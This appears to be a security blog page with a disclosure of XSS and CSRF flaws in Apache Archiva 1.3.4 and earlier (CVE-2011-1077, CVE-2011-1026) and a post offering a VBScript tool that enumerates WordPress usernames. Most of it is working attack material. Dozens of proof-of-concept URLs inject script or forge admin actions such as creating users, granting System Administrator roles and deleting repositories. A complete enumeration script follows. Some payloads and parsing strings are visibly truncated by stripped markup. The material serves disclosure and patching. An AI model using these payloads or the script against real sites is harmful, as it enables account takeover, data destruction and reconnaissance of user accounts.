    Versions: 1.3.0 – 1.3.4. The unsupported versions Archiva 1.0 – 1.2.2 are also affected.
    Exploit type: Multiple XSS & CSRF
    Mitigation: Archiva 1.3.4 and earlier users should upgrade to 1.3.5
    Vendor URL: http://archiva.apache.org/security.html
    CVE: CVE-ID-2011-1077, CVE-2011-1026
    ——————————————————————–

    Timeline:
    28 February 2011: Vendor Contacted
    1 March 2011: Vendor Response received. CVE-2011-1026 for CSRF Issues Assigned.
    7 March 2011: CVE-2011-1077 Assigned for XSS Issues.
    14 March 2011: Fixes released to selected channels / Found to be insufficient
    27 May 2011: Vendor releases v1.3.5
    27 May 2011: Vendor releases security disclosure to Bugtraq and FD.
    30 May 2011: Exploit details released on Bugtraq & FD
    ——————————————————————–

    Product Description:
    Apache Archiva is an extensible repository management software that helps taking care of your own personal or enterprise-wide build artifact repository. It is the perfect companion for build tools such as Maven, Continuum, and ANT.

    Archiva offers several capabilities, amongst which remote repository proxying, security access management, build artifact storage, delivery, browsing, indexing and usage reporting, extensible scanning functionality… and many more!
    (Source: http://archiva.apache.org/)
    ——————————————————————–

    Vulnerability Details:
    XSS: User can insert HTML or execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities arise due to insufficient input validation in multiple input fields throughout the application.
    Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of
    cookie-based authentication credentials, arbitrary url redirection, disclosure or modification of sensitive data and phishing attacks.

    CSRF: These issues allow an attacker to access and use the application with the session of a logged on user. In this case if an administrative account is exploited, total application compromise may be acheived.
    An attacker can build a simple html page containing a hidden Image tag (eg: ) and entice the administrator to access the page.
    ———————————————————————-

    Proof of Concept:
    Reflected XSS:
    http://127.0.0.1:8080/archiva/security/useredit.action?username=testalert(‘xss’)
    http://127.0.0.1:8080/archiva/security/roleedit.action?name=%22>alert(‘xss’)
    http://127.0.0.1:8080/archiva/security/userlist!show.action?roleName=testalert(‘xss’)
    http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1alert(‘xss’)&artifactId=1alert(‘xss’)&version=1&repositoryId=internal
    http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath!commit.action?legacyArtifactPath.path=testalert(‘xss’)&groupId=testalert(‘xss’)&artifactId=testalert(‘xss’)&version=testalert(‘xss’)&classifier=testalert(‘xss’)&type=testalert(‘xss’)
    http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!confirm.action?proxyid=testalert(‘xss’)

    Persistant (Stored) XSS:
    Exploit code: testalert(‘xss’)
    http://127.0.0.1:8080/archiva/admin/addRepository.action (Identifier:repository.id, Name:repository.name, Directory:repository.location, Index Directory:repository.indexDir)
    http://127.0.0.1:8080/archiva/admin/confirmDeleteRepository.action?repoid=

    http://127.0.0.1:8080/archiva/admin/editAppearance.action (Name:organisationName, URL:organisation:URL, LogoURL:organisation:URL)
    http://127.0.0.1:8080/archiva/admin/configureAppearance.action

    http://127.0.0.1:8080/archiva/admin/addLegacyArtifactPath.action(Path:name=legacyArtifactPath.path, GroupId:groupId, ArtifactId:artifactId, Version:version, Classifier:classifier, Type:type)
    http://127.0.0.1:8080/archiva/admin/legacyArtifactPath.action

    http://127.0.0.1:8080/archiva/admin/addNetworkProxy.action (Identifier:proxy.id, Protocol:proxy.protocol, Hostname:proxy.host, Port:proxy.port, Username:proxy.username)
    http://127.0.0.1:8080/archiva/admin/networkProxies.action

    CSRF:
    http://127.0.0.1:8080/archiva/security/usercreate!submit.action?user.username=tester123&user.fullName=test&user.email=test%40test.com&user.password=abc&user.confirmPassword=abc
    http://127.0.0.1:8080/archiva/security/userdelete!submit.action?username=test
    http://127.0.0.1:8080/archiva/security/addRolesToUser.action?principal=test&addRolesButton=true&__checkbox_addNDSelectedRoles=Guest&__checkbox_addNDSelectedRoles=Registered+User&addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=System+Administrator&__checkbox_addNDSelectedRoles=User+Administrator&__checkbox_addNDSelectedRoles=Global+Repository+Manager&__checkbox_addNDSelectedRoles=Global+Repository+Observer&submitRolesButton=Submit
    http://127.0.0.1:8080/archiva/admin/deleteRepository.action?repoid=test&method%3AdeleteContents=Delete+Configuration+and+Contents
    http://127.0.0.1:8080/archiva/deleteArtifact!doDelete.action?groupId=1&artifactId=1&version=1&repositoryId=snapshots
    http://127.0.0.1:8080/archiva/admin/addRepositoryGroup.action?repositoryGroup.id=csrfgrp
    http://127.0.0.1:8080/archiva/admin/deleteRepositoryGroup.action?repoGroupId=test&method%3Adelete=Confirm
    http://127.0.0.1:8080/archiva/admin/disableProxyConnector!disable.action?target=maven2-repository.dev.java.net&source=internal
    http://127.0.0.1:8080/archiva/admin/deleteProxyConnector!delete.action?target=maven2-repository.dev.java.net&source=snapshots
    http://127.0.0.1:8080/archiva/admin/deleteLegacyArtifactPath.action?path=jaxen/jars/jaxen-1.0-FCS-full.jar
    http://127.0.0.1:8080/archiva/admin/saveNetworkProxy.action?mode=add&proxy.id=ntwrk&proxy.protocol=http&proxy.host=test&proxy.port=8080&proxy.username=&proxy.password=
    http://127.0.0.1:8080/archiva/admin/deleteNetworkProxy!delete.action?proxyid=myproxy
    http://127.0.0.1:8080/archiva/admin/repositoryScanning!addFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
    http://127.0.0.1:8080/archiva/admin/repositoryScanning!removeFiletypePattern.action?pattern=**/*.rum&fileTypeId=artifacts
    http://127.0.0.1:8080/archiva/admin/repositoryScanning!updateKnownConsumers.action?enabledKnownContentConsumers=auto-remove&enabledKnownContentConsumers=auto-rename&enabledKnownContentConsumers=create-missing-checksums&enabledKnownContentConsumers=index-content&enabledKnownContentConsumers=metadata-updater&enabledKnownContentConsumers=repository-purge&enabledKnownContentConsumers=update-db-artifact&enabledKnownContentConsumers=validate-checksums
    http://127.0.0.1:8080/archiva/admin/database!updateUnprocessedConsumers.action?enabledUnprocessedConsumers=update-db-project
    http://127.0.0.1:8080/archiva/admin/database!updateCleanupConsumers.action?enabledCleanupConsumers=not-present-remove-db-artifact&enabledCleanupConsumers=not-present-remove-db-project&enabledCleanupConsumers=not-present-remove-indexed
    ———————————————————————


    Please update to Archiva 1.3.5, available for download via the vendor’s website.

    WordPress UserId & Username Enumeration Exploit/PoC Script

    On 26th May 2011, a relatively easy to detect and exploit vulnerability was found with WordPress. The issue being with WordPress disclosing usernames based on a simple URL parameter and the consequent page redirect/HTTP status. Although WordPress has implemented usernames in the title bar as a feature, this can be abused easily by recursively supplying a author=number to the main page to enumerate usernames. The full disclosure posting can be found at http://seclists.org/fulldisclosure/2011/May/493

    Even though there are a lot of scripts/exploits/PoC already popping up all over the Internet to abuse this, this post will show how easy it is to automate the enumeration using Ajax/XMLHTTP via VBScript.

    ‘Author: karniv0re@null.co.in
    ‘User enumeration script for WordPress v2.6, 3.1, 3.1.1, 3.1.3
    ‘This script allows an attacker to enumerate wordpress users by
    ‘querying the value of the parameter ‘author’ using xmlHTTP.

    Dim url, sQuery, args, i, max

    if wscript.arguments.count < 1 then
    wscript.echo “WPEnum – WordPress User Enumeration Script”
    wscript.echo “Author: karniv0re@null.co.in”
    wscript.echo “Insufficient Parameters.”
    wscript.echo
    wscript.echo “cscript WPEnum.vbs []”
    wscript.echo “: A WordPress based website in the form of http://site/”
    wscript.echo “:[Optional] Maximum number of users. Default 20.”
    wscript.echo “Example: cscript WPEnum.vbs http://www.mywordpress.com/ 10”
    wscript.echo
    wscript.quit
    End if

    set args = wscript.Arguments

    wscript.echo “WPEnum – WordPress User Enumeration Script”
    wscript.echo “Author: karniv0re@null.co.in”
    wscript.echo
    wscript.echo “Enumerating …”
    wscript.echo

    i=0
    max=20
    url = args(0)
    if right(url,1) “/” then
    url = url & “/”
    End if

    if wscript.arguments.count = 2 AND IsNumeric(args(1)) then
    max=args(1)
    End if

    Set xmlHTTP = Nothing
    set xmlHTTP = CreateObject(“Microsoft.XmlHttp”)

    For i=1 to max
    sQuery = args(0) & “?author=” & i
    xmlHTTP.open “GET”, sQuery, false
    xmlHTTP.send “”

    wscript.sleep 70

    do while not xmlHTTP.readyState=4
    Loop

    if xmlHTTP.status = 404 then
    wscript.echo
    i=i-1
    wscript.echo i & ” users enumerated.”
    wscript.echo “Done!”
    Set xmlHTTP = Nothing
    wscript. quit
    End if

    wscript.echo “Userid:” & i

    k = Instr(Lcase(xmlHTTP.responseText),””)
    j = Instr(Lcase(xmlHTTP.responseText),””)
    username = Mid(xmlHTTP.responseText, k+7, j-k-7)
    wscript.echo username
    wscript.echo
    Next

    wscript.echo i & ” users enumerated.”
    wscript.echo “Done!”

    Set xmlHTTP = Nothing

    ‘End of program